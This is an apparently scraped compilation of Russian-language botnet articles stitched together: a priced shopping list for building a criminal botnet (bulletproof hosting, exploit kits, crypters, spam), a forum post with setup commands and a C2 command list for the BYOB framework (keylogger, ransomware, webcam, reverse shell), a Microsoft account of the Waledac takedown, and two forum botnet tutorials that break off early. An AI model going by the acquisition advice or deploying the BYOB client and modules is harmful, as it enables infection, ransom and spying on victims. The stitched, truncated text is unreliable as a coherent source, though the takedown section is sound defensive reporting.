Ботнет как создать – Простой способ кодинга неубиваемых и абузоустойчивых ботов — «Хакер»

Содержание

Как построить свой личный ботнет и сколько это стоит

Ботнеты (от англ. “robot” и “network”, то есть «сети роботов») – один из главных и популярнейших инструментов современной киберпреступности. Компьютерные сети, которые состоят из десятков, сотен тысяч и даже миллионов машин-хостов, заражённых программами-ботами, автоматически выполняют те или иные действия в интересах владельца или управляющего такой сетью.

При этом задачи, которые способен решать ботнет, могут быть самыми разными: от классических и вполне безобидных сбора адресов электронной почты и последующей рассылки спама до хищения информации к банковским счетам и коммерческого шпионажа. В России в последнее время ботнеты чаще всего используются для DDoS-атак на крупнейшие интернет-ресурсы, прежде всего оппозиционной направленности, а также на замусоривание социальных сетей пропагандистскими постингами фиктивных пользователей.

Написание программного обеспечения для функционирования ботнетов, их эксплуатация, поддержка и предоставление в аренду – крупнейший бизнес, существующий и активно развивающийся уже более 15 лет. Видимую его часть составляют полулегальные компании, продающие софт, обеспечивающие защищённый анонимных хостинг и различные криптографические услуги. Как правило, они зарегистрированы и действуют в рамках юрисдикций, гарантирующих защиту от преследований правоохранительных органов иностранных государств и неразглашение данных о клиентах таких фирм.

Практически во всех странах ведётся активная борьба с вредоносными ботнетами, и практически везде спецслужбы пользуются этими же самыми технологиями в собственных целях – не особо афишируя это, но и не слишком скрывая. Такое сосуществование объективно выгодно обеим сторонам, именно поэтому мы очень редко слышим сообщения о ликвидации крупных ботнетов, сам факт существования которых обеспечивает необходимый баланс интересов. Такие сети способны успешно функционировать длительное время, никак не обнаруживая себя.

По оценкам специалистов, средний срок жизни ботнетов, обслуживаемых высококвалифицированными специалистами, может составлять от семи месяцев до трёх лет. Согласно данным Trustwave за февраль 2013 года, в среднем до обнаружения сетевой атаки проходит более 210 дней, причём вторжение удаётся заметить не благодаря какому-то антивирусному ПО, а исключительно благодаря жалобам клиентов и вопросам, возникающим у банковских учреждений и правоохранительных органов. При этом в пяти процентах случаев сетевая атака была обнаружена спустя более трёх лет (!) после её начала.

Понятно, что таких результатов добиваются только отлично организованные группы, на которые работают профессионалы самой высокой квалификации. Услуги таких ботнетов доступны лишь крупному бизнесу и спецслужбам, причём не только из-за стоимости в десятки миллионов долларов, но и силу глубочайшей законспирированности. Между тем в мире работает огромное количество вполне эффективных сетей гораздо меньшего масштаба, ориентированных на краткосрочные атаки. Организация таких сетей по карману даже студенту, и вполне возможно, что ваш сайт за совершенно смешную сумму «положил» на неделю ваш конкурент по бизнесу.

Затраты на организацию «бюджетного» ботнета на сегодняшний день составляют всего порядка 600 долларов. При этом владелец такой сети вовсе не обязан разбираться в программировании и сетевых протоколах – за эти деньги он может получить не только свежий код, защищённый хостинг и криптографические услуги, но и круглосуточную техническую поддержку, регулярные обновления и любой другой сервис, уровню которого позавидуют иные международные корпорации.

Из чего же складывается цена «бюджетного» ботнета, и как найти людей, предоставляющих такие услуги? Вы будете смеяться, но достаточно набрать в поисковой строке браузера слово «ботнет», как вы получите огромное количество ссылок на форумы, в которых вам предложат всё, что вы только пожелаете. Специально оговоримся, что эта статья – вовсе не инструкция по ограблению банка и прочей противоправной деятельности, а лишь общее описание доступных на рынке предложений. Поэтому здесь не будет никаких прямых гиперссылок – любопытствующие без проблем отыщут все упомянутые нами продукты и услуги самостоятельно и не станут забывать о статьях 272 и 273 Уголовного кодекса РФ.

1. Защищённая виртуальная частная сеть (VPN)

Прежде чем начинать строительство ботнета, вам требуется как можно тщательнее скрыться от внимательных глаз – антивирусных компаний, специалистов по безопасности, конкурентов и, конечно, правоохранительных органов. Для этого вам нужен провайдер виртуальной частной сети (VPN), который не будет интересоваться вашим настоящим именем, который не станет никому раскрывать ваши логи по юридическим или техническим причинам и который принимает оплату через анонимные платёжные системы.

Внимательнее читайте пользовательские соглашения и правила приглянувшегося провайдера. Член хакерской группы LulzSec Коди Кретсингер был арестован только потому, что VPN-провайдер HideMyAss.com в соответствии с условиями обслуживания предоставил полиции все логи после получения официального запроса.

Типичный VPN-провайдер CryptoVPN просит за свои услуги около 25 долларов в месяц или около 200 долларов в год. Принимаются платежи через Bitcoin, Liberty Reserve и прочие анонимные сервисы.

Цена – 25 долларов в месяц

2. Надёжный хостинг

Спрятав свою сеть, нужно найти надёжное место для хостинга центра управления ботнетом. Его стоит искать там, кому всё равно, чем вы занимаетесь на их серверах и кто не будет вычищать ваш специфический софт в ходе регулярного антивирусного сканирования. Такие хостеры расположены либо в странах с либеральным отношением к компьютерному пиратству, либо в государствах, не склонных сотрудничать с иностранными правоохранительными органами.

Типичный пример – румынский хостинг HostimVse с сайтом на русском языке, предлагающий размещение сайтов с пиратским и порнографическим контентом, защищённый от атак конкурентов, претензий со стороны пользователей и недоступный для действия американского закона DMCA. Компания также предоставляет дополнительные услуги, включая защиту от DDoS-атак. Цена на выделенный сервер начинается с 30 долларов в месяц, но в правила обслуживания входят условия, позволяющие в случае обнаружения ботнет-активности аннулировать договор.

Специально для ботнетов и прочего malware существуют особые сервисы, которые обычно рекламируются исключительно через тематические форумы, а для контакта используется ICQ или Jabber. Многие из них предлагают техническую поддержку по телефону или Skype и услуги по настройке Apache.

Цена – от 50 долларов в месяц плюс плата за поддержку

3. Надёжный домен и Fast Flux

Для надёжной связи с ботами вам потребуются доменные имена с полным доступом к настройкам DNS. Чтобы избежать быстрого выявления «командного центра» при подключении к заражённым сетям, понадобится несколько доменных имён.

Регистратор таких доменных имён не должен проявлять повышенного интереса к вашей личности и должен принимать платежи через анонимные службы.

Существенно усиливает безопасность доменов использование технологии маскировки Fast Flux, скрывающей реальные IP-адреса путём быстрого изменения (в течение нескольких секунд) IP-адреса в записи DNS на адреса из числа любых входящих в ботнет машин. В двухпоточных сетях (double-flux) используется дополнительный уровень – сервисная сеть ботов, IP-адреса которой также постоянно меняются, что обеспечивает дополнительный уровень защиты.

В отличие от доменов, услуга Fast Flux стоит немало: поддержка пяти скрытых DNS-cерверов обойдётся не менее чем в 800 долларов. Поэтому для «бюджетного» ботнета лучше начать с покупки нескольких доменных имён.

Цена – от 50 долларов за пять доменных имён

4. Платформа и центр управления (C&C)

Существует несколько известных программных платформ для создания ботнетов – Carberp, Citadel, SpyEye, ZeuS, причём цены на них могут различаться на порядки. В частности, разработчики Carberp непосредственно перед арестом просили за комплект 40 000 долларов, а первые версии ZeuS стоили около 400. Модифицированные версии ZeuS с функциональностью руткита и набором ПО для начинающего пользователя обойдутся в 1500 долларов. Молодой конкурент ZeuS, SpyEye с набором модулей-инжектов, стоит примерно столько же.

Поскольку в 2012 году был обнародован исходный код предыдущих версий ZeuS, он стал открытым, и на рынке появилась масса предложений по продаже платформы примерно за 125 долларов с ежемесячным обновлением за 15 долларов и круглосуточной поддержкой за 25 долларов в месяц. Наконец, не составит особого труда найти «взломанные» версии некоторых платформ: вы не получите ни поддержки, ни обновлений, зато не заплатите за них ни копейки.

Цена – 125 долларов плюс 40 долларов в месяц за обновления и поддержку

5. Наборы веб-инжектов

Популярность платформы ZeuS породила целую экосистему программных плагинов, изменяющих или дополняющих функциональность ботнета. Значительную их часть занимают так называемые инжекты – управляющие ботом модули, позволяющие отслеживать нужный тип активности в браузере и при посещении инфицированных сайтов «впрыскивающие», внедряющие в браузер необходимый код.

Существуют инжекты самого разного назначения – от почти безобидного генерирования невидимых кликов просмотра рекламных баннеров до сбора персональной информации и кражи данных онлайн-банкинга и платёжных систем. Через хакерские форумы можно приобрести целые наборы инжектов вместе с услугой по их установке и настройке.

Цена – 80 долларов за набор плюс 8 долларов в месяц за поддержку

6. Связки эксплойтов и онлайн-сервисы

Чтобы проникнуть на машину жертвы и сделать её ботом, необходимо обойти стандартную и антивирусную защиту. Для этого применяются специальные программы – эксплойты, использующие уязвимости в браузере, операционной системе или другом ПО для получения удалённого контроля над системой.

Обычный способ заражения для большинства ботнетов – это использование гиперссылок в почтовом спаме или открываемых вместе с основной рекламных страниц, заполненных множеством баннеров. Всего один клик по такой ссылке приводит к редиректу на узел ботнета, где распознаётся тип ПО и оборудования клиента, после чего на него отправляются подходящие эксплойты.

Эксплойты продаются наборами или «связками» либо предоставляются в качестве онлайновой услуги. Популярный пакет Phoenix можно приобрести за 120 долларов плюс 38 долларов в месяц за обновления и техническую поддержку, онлайновый сервис BlackHole обойдётся в 50 долларов в день либо в 1500 за годовую лицензию при установке на сервер заказчика.

Цена – 120 долларов за набор плюс 38 долларов в месяц за поддержку и обновления

7. Крипторы и дропперы

Чтобы антивирусное ПО не обнаружило загруженные на компьютер жертвы файлы по его сигнатуре и не блокировало их, применяются так называемые крипторы, шифрующие сигнатуры трояна и связанных с ним файлов. Результат работы криптора – дроппер, способный устанавливать зашифрованные файлы в систему, в том числе модифицировать исполняемые файлы, а также скачивать дополнительные фрагменты вредоносного кода и прочие данные на инфицированную машину.

Во многих крипторах есть также функция «антипесочницы»: антивирусные программы могут помещать распознанные вирусы в так называемые «песочницы» или виртуальные машины без возможности исполнения их кода в системе. «Антипесочница» распознаёт виртуальную среду и позволяет запустить в ней лишь безвредный код, скрывая основную функциональность.

Криптор может поставляться как отдельная утилита по цене порядка 30 долларов, так и как онлайновый сервис – от 7 долларов за однократное «криптование» до 20 долларов в месяц за неограниченную лицензию и сопутствующие утилиты.

Цена – 20 долларов в месяц за криптор и утилиты

8. Спам и услуги по социальному инжинирингу

Чтобы заставить будущих ботов нажать на нужную гиперссылку и заразить свою машину, используются разнообразные средства социальной инженерии. Классический способ – «старый добрый» спам. Вы можете просто купить базу электронных почтовых адресов либо воспользоваться услугами другого ботнета, специализирующегося на спаме. Такие ботнеты более эффективны, поскольку они переориентировались на популярные социальные сети, а также рассылки SMS и MMS, причём оплата идёт не за размещённое сообщение, а за хит.

Более изысканный вариант предполагает использование собранной другим ботнетом личной информации, чтобы заставить жертву щёлкнуть по ссылке в почтовом сообщении или в постинге в социальной сети. Такое сообщение может быть замаскировано под письмо из банка, из автосалона или автомастерской, от хостинг-провайдера, от любой сетевой службы или даже от любого из «друзей». Похитив персональную информацию одного члена социальной сети, можно включить в ботнет ещё и несколько его «френдов».

Для «бюджетного» ботнета спам остаётся лучшим выбором: это дёшево и всё ещё эффективно. Рассылка по случайному набору адресов стоит от 10 долларов за миллион писем, а по адресам, замеченным в интересе к определённой тематике, – около 50.

Цена – 50 долларов за первоначальную спам-рассылку

Дёшево и сердито

Как видим, вложения в создание и эксплуатацию «бюджетного» ботнета в течение первого месяца составляют всего 606 долларов. Совершенно смешная сумма, доступная практически каждому, – особенно по сравнению с потенциальной выгодой. И такая дешевизна вовсе не означает неэффективности.

Несмотря на то что все основные ботнет-платформы хорошо известны и антивирусным компаниям, и специалистам по безопасности, они прекрасно маскируются при помощи доступных крипторов и дропперов, а постоянно совершенствующиеся наборы эксплойтов способны инфицировать практически любую машину. По данным сайта ZeusTracker, в среднем антивирусное ПО распознаёт код чуть более 38 процентов установленных ботнетов на платформе ZeuS. Так что всё это действительно работает, и мошенники по всему миру активно пользуются ботнетами. Разумеется, сети, управляемые непрофессионалами, намного быстрее раскрываются, в том числе и правоохранительными органами, но от этого число желающих обмануть судьбу не уменьшается.

Во всей этой истории пугает вовсе не дешевизна «входного билета» в мир современной киберпреступности и даже не то, что для создания собственного ботнета больше не требуется даже элементарных навыков программирования. Пугает то, с какой лёгкостью люди нажимают странные ссылки и заходят на случайные сайты. А ведь именно это остаётся основным способом заражения компьютера и превращения его в боевую единицу сети роботов, управляемой злоумышленниками.

BYOB — Создаем собственный ботнет.

Всем привет. Решил создать статью про ботнет. Давненько не было статей про ботнет.
Разработчик -== malwaredllc
Страница разработчика -==

Скрыто от гостей

Введение.

Посмотреть вложение 21495 Посмотреть вложение 21499
BYOB (Build Your Own Botnet) — это проект с открытым исходным кодом, который предоставляет платформу для исследователей и разработчиков безопасности для создания и управления базовым ботнетом, чтобы углубить свое понимание сложной вредоносной программы, которая заражает миллионы устройств каждый год и порождает современные бот-сети, чтобы улучшить их способность разработать контрмеры против этих угроз.

Он разработан, чтобы позволить разработчикам легко реализовывать свой собственный код и добавлять интересные новые функции без необходимости писать RAT (Remote Administration Tool) или C2 (Command & Control server) с нуля.

Посмотреть вложение 21496
Сервер управления с постоянной базой данных и консолью.

Консольный интерфейс пользователя: оптимизированный консольный интерфейс для удаленного управления клиентскими хост-компьютерами через обратные TCP-оболочки, которые обеспечивают прямой доступ к клиентским хост-машинам.

Постоянная база данных SQLite: легкая база данных, в которой хранится идентификационная информация о клиентских машинах-хостах, что позволяет проводить сеансы обратной TCP-оболочки с помощью разрывов произвольной продолжительности и обеспечения долгосрочной разведки.

Архитектура клиент-сервер: все локальные пакеты / модули python автоматически становятся доступными для удаленного доступа клиентов, не записывая их на диск целевых компьютеров, что позволяет клиентам использовать модули, которые требуют пакетов, не установленных на целевых компьютерах.

Посмотреть вложение 21497
Создает полностью необнаруживаемые клиенты с полезной нагрузкой, удаленным импортом и неограниченными модулями.

Удаленный импорт: удаленно импортировать сторонние пакеты с сервера, не записывая их на диск или не загружая / не устанавливая их.

Ничего не записано на диск: клиенты никогда ничего не пишут на диск — даже временные файлы (нулевые системные вызовы ввода-вывода выполняются), потому что удаленный импорт позволяет динамически загружать произвольный код в память и напрямую импортировать в текущий процесс.

Zero Dependencies : клиент работает только с стандартной библиотекой python, удаленно импортирует любые нестандартные пакеты / модули с сервера и может быть скомпилирован с помощью автономного интерпретатора python в переносимый исполняемый файл, отформатированный для любой платформы / архитектура, позволяющая ему работать на чем угодно, даже если сам Python отсутствует на целевом хосте.

Добавление новых функций с помощью всего лишь 1 Щелчок: любой скрипт, модуль или пакет python, который вы должны копировать в каталог ./byob/modules/, автоматически становится удаленным и доступным для каждого клиента, когда ваш сервер управления работает.

Напишите свои собственные модули: базовый шаблон модуля предоставляется в каталоге ./byob/modules/, чтобы написать собственные модули прямолинейным, без проблем процессом.

Запуск неограниченных модулей. Размер файла: использование удаленного импорта для добавления неограниченных функций без добавления одного байта в размер файла клиента.

Полностью обновляемый: каждый клиент будет периодически проверять сервер на наличие нового контента, доступного для удаленного импорта, и будет динамически обновлять свои ресурсы в памяти, если что-либо добавлено / удалено.

Все написано на языке Python и сгенерированные клиенты могут быть необязательно скомпилированы в переносимый исполняемый файл (Windows) или в комплекте с автономным приложением (macOS).

Обход межсетевых экранов: клиенты подключаются к серверу управления и управления через обратные TCP-соединения, которые обходят большинство брандмауэров, потому что конфигурации фильтра по умолчанию в основном блокируют входящие соединения.

Counter-Measure Against Antivirus: избегает анализа антивирусом, блокируя процессы с именами известных антивирусных продуктов от нереста.

Шифрование полезных нагрузок для предотвращения анализа: основная полезная нагрузка клиента зашифровывается случайным 256-битным ключом, который существует исключительно в блоке полезной нагрузки, который создается вместе с ним.

Предотвращение обратного проектирования: по умолчанию клиенты прекращают выполнение, если обнаружена виртуальная машина или песочница.

Код:

11 пост-эксплуатационных модулей, которые удаленно импортируются клиентами:

1) Keylogger (byob.modules.keylogger): регистрирует нажатия клавиш пользователя и введенное имя окна.
2) Снимок экрана (byob.modules.screenshot): сделайте снимок экрана рабочего стола текущего пользователя.
3) Веб-камера (byob.modules.webcam): просмотр прямого потока или захват изображения / видео с веб-камеры.
4) Ransom (byob.modules.ransom): шифрует файлы и генерирует случайный кошелек BTC для выплаты выкупа.
5) Outlook (byob.modules.outlook): чтение / поиск / отправка писем из локального клиента Outlook.
6) Packet Sniffer (byob.modules.packetsniffer): запустить пакетный снифер в сети хоста и загрузить файл .pcap
7) Persistence (byob.modules.persistence): установить постоянство на главной машине, используя 5 различных методов.
8) Телефон (byob.modules.phone): чтение / поиск / загрузка текстовых сообщений с клиентского смартфона.
9) Эскалация привилегий (byob.modules.escalate): попытка обхода UAC для получения несанкционированных прав администратора.
10) Port Scanner (byob.modules.portscanner): сканирование локальной сети для других сетевых устройств и открытых портов.
11) Управление процессом (byob.modules.process): list / search / kill / мониторинг текущих запущенных процессов на хосте.

Посмотреть вложение 21500

Код:

Установка и запуск:
# git clone https://github.com/malwaredllc/byob.git
# cd byob
# pip install -r requirements.txt
# ./setup.py
# Запуск:
# ./server.py
Пример: server.py [-h] [-v] [--host HOST] [--port PORT] [--database DATABASE]
# ./client.py
Пример: client.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt] [--obfuscate] [--compress] [--compile] host port [module [module ...]]

Код:

Справка: help
command <arg>                                         description                              
bg [id]                         background a session (default: the current session)                        
broadcast <command>             broadcast a task to all active sessions                                    
clients                         show all clients that have joined the server                              
debug <code>                    run python code directly on server (debugging MUST be enabled)            
exit                            quit the server                                                            
help                            show usage help for server commands                                        
kill <id>                       end a session                                                              
options                         show currently configured settings                                        
query <statement>               query the SQLite database                                                  
ransom [id]                     encrypt client files & ransom encryption key for a Bitcoin payment        
results [id]                    display all completed task results for a client (default: all clients)    
screenshot                      take a screenshot of the client desktop                                    
sessions                        show active client sessions                                                
set <setting> [option=value]    change the value of a setting                                              
shell <id>                      interact with a client with a reverse TCP shell through an active session  
tasks [id]                      display all incomplete tasks for a client (default: all clients)          
webcam <mode>                   capture image/video from the webcam of a client device

Спасибо за внимание.

Как закрывают ботнеты / Журнал Хакер corporate blog / Habr

В последнее время о ботнетах в рунете говорят очень много. В основном это связано с DDoS-атаками на известные и посещаемые ресурсы. Ниже мы обсудим опыт крупных компаний в области борьбы с этой напастью.

Что такое ботнет?

Ботнет представляет собой совокупность систем, зараженных вредоносным кодом и управляемых централизованно. Причем устроен он таким образом, что уничтожение или отключение достаточно большого количества узлов не должно влиять на его работоспособность в целом. Ботнеты могут использоваться для таких целей, как рассылка спама, фишинг, DDoS, атаки на другие системы, заражение новых ПК и превращение их в узлы ботнета. Стоит отметить, что в данный момент индустрия киберпреступности довольно сильно сегментирована по специализации и направленности преступлений. Это означает, что каждый занимается своим делом. В результате получается, что создатель ботнета продает ресурсы или услуги ботнета другим злоумышленникам, специализирующимся на тех или иных видах преступлений (типовую бизнес-структуру ты можешь посмотреть на иллюстрации). Стоит отметить, что интерфейс управления ботнетом довольно прост. С ним может справиться человек, обладающий даже очень низкой квалификацией. В соответствии с облачными веяниями, в последнее время появилась услуга Malware as a Service. Если кто-то не может создать и распространять свой зловредный код, всегда найдется провайдер, способный сделать это за определенные деньги. Впрочем, создать ботнет сегодня тоже не бог весть какая сложная задача. На рынке есть множество готовых наборов для изготовления ботнета, таких как Zbot (Zeus), Spyeye, Mariposa, Black Energy, ButterFly, Reptile. Это означает, что современные владельцы ботнетов могут даже не обладать какими-либо особыми технологическими навыками. Впрочем, если говорить о крупных ботнетах, то их создатели — это, безусловно, способные, талантливые люди, бороться с которыми довольно сложно. В рамках этого материала я хотел бы рассказать о практиках, которые используются большими компаниями для борьбы с киберпреступностью и, в частности, ботнетами. Речь, в частности, пойдет об активности компании Microsoft, в которой я и работаю.

Стандартный подход к управлению ботнетом

Microsoft vs. Ботнет

Возможно, это и заставит кого-то улыбнуться, но в Microsoft в последние несколько лет наблюдается серьезная работа по повышению безопасности продуктов и сервисов. Появились и стали применяться методологии разработки безопасного кода SDL, что ключевым образом повлияло на количество найденных за последнее время уязвимостей (особенно тех, которые можно эксплуатировать). Но речь сегодня пойдет не о превентивных мерах, которые могут предотвратить будущие угрозы, а о борьбе с проблемами, которые актуальны сегодня. Большое количество зараженных машин, работающих под операционной системой Windows, — как раз такая проблема.
Внутри компании был создан целый ряд подразделений по борьбе с киберпреступлениями. Последние носят разные имена — Digital Crime Unit, Microsoft Security Response Center, Trust worth Computing, — но задачи каждого так или иначе пересекаются с проблемой киберпреступности. Вместе с правоохранительными органами и исследовательскими организациями Microsoft начал операции по уничтожению крупнейших ботнетов. Звучит громко? Возможно, но за год были уничтожены такие ботнеты, как:

  • Rustock, рассылавший 80 % мирового спама.
  • Coreflood, который служил инструментом для преступлений, принесших более $100 млн убытков.
  • Waledac, боты которого отправляли 1,5 млрд спам-сообщений ежедневно.

Борьба с ботнетами: общие практики


Для того чтобы понять типовые способы уничтожения ботнета, надо разобраться с его архитектурой и слабыми местами. Чаще всего для управления ботнетом используется один или несколько командных (часто центральных) серверов, называемых Command & Control, или C&C. Они взаимодействуют с конечными узлами ботнета по разным протоколам. Наиболее часто в качестве протокола управления используется IRC. Впрочем, в последнее время резко увеличилось применение P2P-протоколов как более устойчивой, хотя и технологически сложной альтернативы. Интересной экзотикой в последнее время стало использование для управления ботнета файлообменных сетей и передача управляющих команд в теле фотографий, публикуемых на Facebook. Так или иначе, для борьбы с ботнетом можно предпринять несколько конкретных действий:

  • Захватить или вывести из строя С&C-узлы.
  • DDoS на С&C-узлы.
  • Жалобы провайдеру, где хостятся C&C-узлы.
  • Захват DNS-имен, используемых C&C.
  • Блокирование IP-адресов.
  • Арест владельца ботнета.
  • Судебный иск.

К сожалению, не все из этих способов эффективны, а некоторые и вовсе незаконны. Между тем некоторые из них нам успешно удалось применить. Так, ботнеты Rustock и Coreflood были уничтожены довольно тривиально. Это удалось сделать с помощью захвата С&C-серверов правоохранительными органами (по предварительному решению суда), после которого на все зараженные машины, входящие в ботнет, была передана команда удаления малвари, которая была предусмотрена разработчиком ботнета. Работа по закрытию другого ботнета — Waledac — оказалась еще более интересной, и на этом моменте я хотел бы остановиться подробнее.

Многослойная архитектура управления Waledac

Waledac: устройство


Сложность борьбы с Waledac заключалась в децентрализованной схеме работы ботнета. Для его работы было зарезервировано ни много ни мало 277 доменных имен. Это значит, что захватывать сервера нужно было одновременно в нескольких ЦОД, у разных провайдеров хостинга. Кроме того, для управления ботнетом успешно использовался P2P-механизм. Если посмотреть на схему ботнета, то сразу бросается в глаза многослойность управляющих серверов. В процессе заражения системы с помощью Waledac зловредный код определяет, какую роль будет выполнять новый узел. Он становится либо простым узлом, рассылающим спам, если находится за NAT и не принимает входящие соединения на 80-й порт, либо узлом, который повторяет (ретранслирует) команды из центра, — то есть своего рода репитером. Репитеры используются для управления ботнетом. Каждый репитер кроме передачи управляющих команд узлам-спамерам поддерживает также список «соседей», состоящий из 100 узлов, также выполняющих роль ретранслятора, к которым он может подключиться по P2P-протоколу. Со временем любой узел-повторитель регистрирует свое доменное имя в fast flux DNS. Это делается для того, чтобы дать возможность обращаться к себе узлам-спамерам, если ближайший к ним репитер вдруг выйдет из строя и станет недоступен. Таким образом узлы ботнета всегда могут найти ближайший узел-ретранслятор и получать от него команды и обновления исполняемого кода. Ботнет устроен так, что со временем роли узлов могут меняться. Если система, используемая как ретранслятор, к примеру, попадает в корпоративную сеть и лишается возможности принимать подключения на 80 й порт, то она автоматически получает роль спамера. При этом проанализировать топологию ботнета не так просто, потому как еще одной задачей репитера является противодействие исследованию топологии ботнета. Он служит своеобразным прокси и не позволяет узлам-спамерам знать что-либо об управляющих узлах C&C.

Каждый репитер поддерживает список соседей

Waledac: уничтожение

Проанализировав архитектуру ботнета, мы проработали план для атаки на ботнет со следующими конкретными шагами:

  1. Нарушение peer-to-peer механизмов обмена управляющими командами.
  2. Нарушение обмена DNS/HTTP-командами.
  3. Нарушение работы двух верхних слоев C&C-серверов.

Первым делом нужно было прервать работу P2P-механизма. В связи с тем, что функция нахождения ближайшего ретранслятора внутри ботнета работала нестабильно, была возможна ситуация, что узлу приходилось перебрать до 20 адресов, находящихся в его списке «соседей», чтобы найти работающий соседний репитер. Благодаря этому нам удалось создать поддельные репитеры, включить их в состав ботнета и начать распространять фальшивые обновления списка репитеров, тем самым нарушив связность системы управления P2P. Это позволило передавать команды узлам-спамерам от специально созданных командных серверов Microsoft.
В случае неработоспособности P2P-механизма узлы ботнета начинают искать друг друга с помощью механизма fast flux DNS. Поэтому необходимо было разрушить и этот способ управления, чтобы злоумышленник не мог восстановить контроль над ботнетом. Это интересный момент, потому что здесь мы использовали юридический механизм. Типичная процедура отзыва DNS-имени через ICANN с помощью процедуры со страшным названием «Uniform Domain-Name Dispute-Resolution Policy» может занять довольно много времени. Это позволило бы злоумышленникам успеть осознать, что его атакуют, и предпринять меры по регистрации новых DNS-имен, на которые позже перевести управление ботнетом. Поэтому вместо стандартной процедуры ICANN мы воспользовались процедурой «TRO (temporary restraining order)» — возможностью временно приостанавливать действие доменов на 28 дней по решению федерального суда США. На этом этапе еще одной сложностью было то, что часть DNS-имен была зарегистрирована на территории Китая.
Для того чтобы злоумышленники могли побороться с Microsoft в суде, ежели у них появится желание заявить свои права на ботнет, на сайте было опубликовано исковое заявление. Также в национальных газетах на территории стран, откуда подозреваемые управляли ботнетом, были опубликованы уведомления о вызове в суд. Как и предполагалось, никто не посмел явиться в суд и заявить о своих правах на ботнет. Таким образом Microsoft выиграл суд на территории США и Китая. Подробнее о юридических тонкостях и перипетиях борьбы за ботнет можно почитать в специальном разделе сайта Microsoft.
В результате этих юридических действий права на DNS перешли к Microsoft. На данный момент DNS-имена подключены к серверам Microsoft. В случае, если к этим серверам подключается зараженный узел из ботнета, на него подается команда, приказывающая удалить зловредный код бота Waledac.

Регистрация доменного имени
Подключение серверов Microsoft к Waledac

Заключение

Мы надеемся таким образом постепенно очистить интернет от последних остатков ботнета Waldac. Чтобы злоумышленникам было неповадно в дальнейшем создавать ботнеты, Microsoft продолжает расследование и сбор доказательств. С этой целью мы предложили награду в $250 000 тому, кто сообщит сведения, способствующие аресту преступной группы, стоявшей за Rustock. По нашему опыту, такой подход может сработать. В завершение хочется сказать что Microsoft и в дальнейшем намерен активно бороться с киберпреступлениями, преследуя злоумышленников всеми доступными ему способами.


Не такие, как все

Опрометчиво считать, что ботнеты состоят только из Windows-машин. Есть ботнеты и на Linux/Unix — Psyb0t, Chuck Norris, насчитывающие сотни тысяч устройств. В основном такие ботнеты создаются из домашних маршрутизаторов, коммутаторов и NAS нижнего ценового диапазона. Уничтожить такой ботнет крайне трудно, так как домашний пользователь в большинстве случаев не обладает знаниями в Linux и навыками обновления прошивки устройства. Производитель устройства заинтересован в быстром устаревании устройства и часто не только не намерен устранять недостатки, но и не имеет механизмов централизованного обновления своих продуктов. По данным исследования от 2009 года, в интернете в любой момент можно найти несколько миллионов домашних устройств с устаревшими прошивками и паролями по умолчанию.


Журнал Хакер, Октябрь (10) 153

Андрей Бешков (abeshkov)
.

Подпишись на «Хакер»

[ГАЙД] Создаем свой…. М.. Ботнет?! | BLASTHACK

Превью
Доброго времени суток, друзья! Хочу посмотреть как публике зайдет кодерская статья, в этой статье хочу раз и навсегда разобрать, чем отличается DDoS от DoS’а, как провести настоящую DDoS атаку! А так же мы напишем инструменты для этого. Объяснять буду рассчитывая на аудиторию которая хоть раз сталкивалась с любым устройством, которое умеет считать (пк, калькулятор, etc.) 😀
Язык, на котором мы это реализуем — Java, позднее мы повторим весь функционал на C#.

В этой статье
+ Что такое ботнет?
+ Подготовка
+ Создание проекта Eclipse

Начнем с того, что такое ботнет?
Ботнет — сеть компов, объединенная общем командным центром. Командный центр мы тоже реализуем, статья будет разбита на несколько частей.

Подготовка!
Так как мы выбрали язык — Java, скачаем среду разработки(такая штука, где пишут код), я выберу Eclipse. Скачать Eclipse: The Platform for Open Innovation and Collaboration | The Eclipse Foundation(https://eclipse.org)
После скачивания Eclipse перейдем к его установке — сложностей возникнуть не должно, оговаривать эту часть не буду.
Во время установки, за чашкой чая, или просто смотря на ползунок установки — начинаем придумывать название, почему то у меня название придумалось само, еще тогда, когда я писал первый абзац этой статьи — RiZu

Создание проекта
После установки Eclipse, создаем проект в нем

Спойлер: Создание проекта Eclipse

Вводим наше придуманное название проекта — и жмем FINISH. После этого шага можно просто пойти и похавать, умственно расхваливая себя — мы смогли создать проект! Топ кодер!

Проект создан, похавали, продолжаем
После создание проекта он появится у вас с левой стороны, и будет выглядеть примерно так:

Спойлер: Проект

Папка RiZu — как не трудно догадаться, название нашего проекта.
В папке src будут хранится файлы нашего проекта
В папке JRE System Library — системные библиотеки java, всякие штучки короче)

ПРОДОЛЖЕНИЕ ТУТ

админим ботнет через соц-сети

Привет codeby, представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.

Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)

Однако это не лучший вариант и у меня есть аргументы :

1. Уязвимость перед exploit’ами
(вы только взгляните на

Скрыто от гостей

и на

Скрыто от гостей

)
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами

Поэтому я предлагаю альтернативу — использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos’а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.

Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже

Скрыто от гостей

где их сливают =0

Однако есть свои минусы :

1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.

2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0

3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.

И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку

Скрыто от гостей

(либа для работы с ssh).
Архитектура ботнета будет иметь следующий вид:

victim = server
attacker = client
attacker => victim

Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.

Пишем сервер :

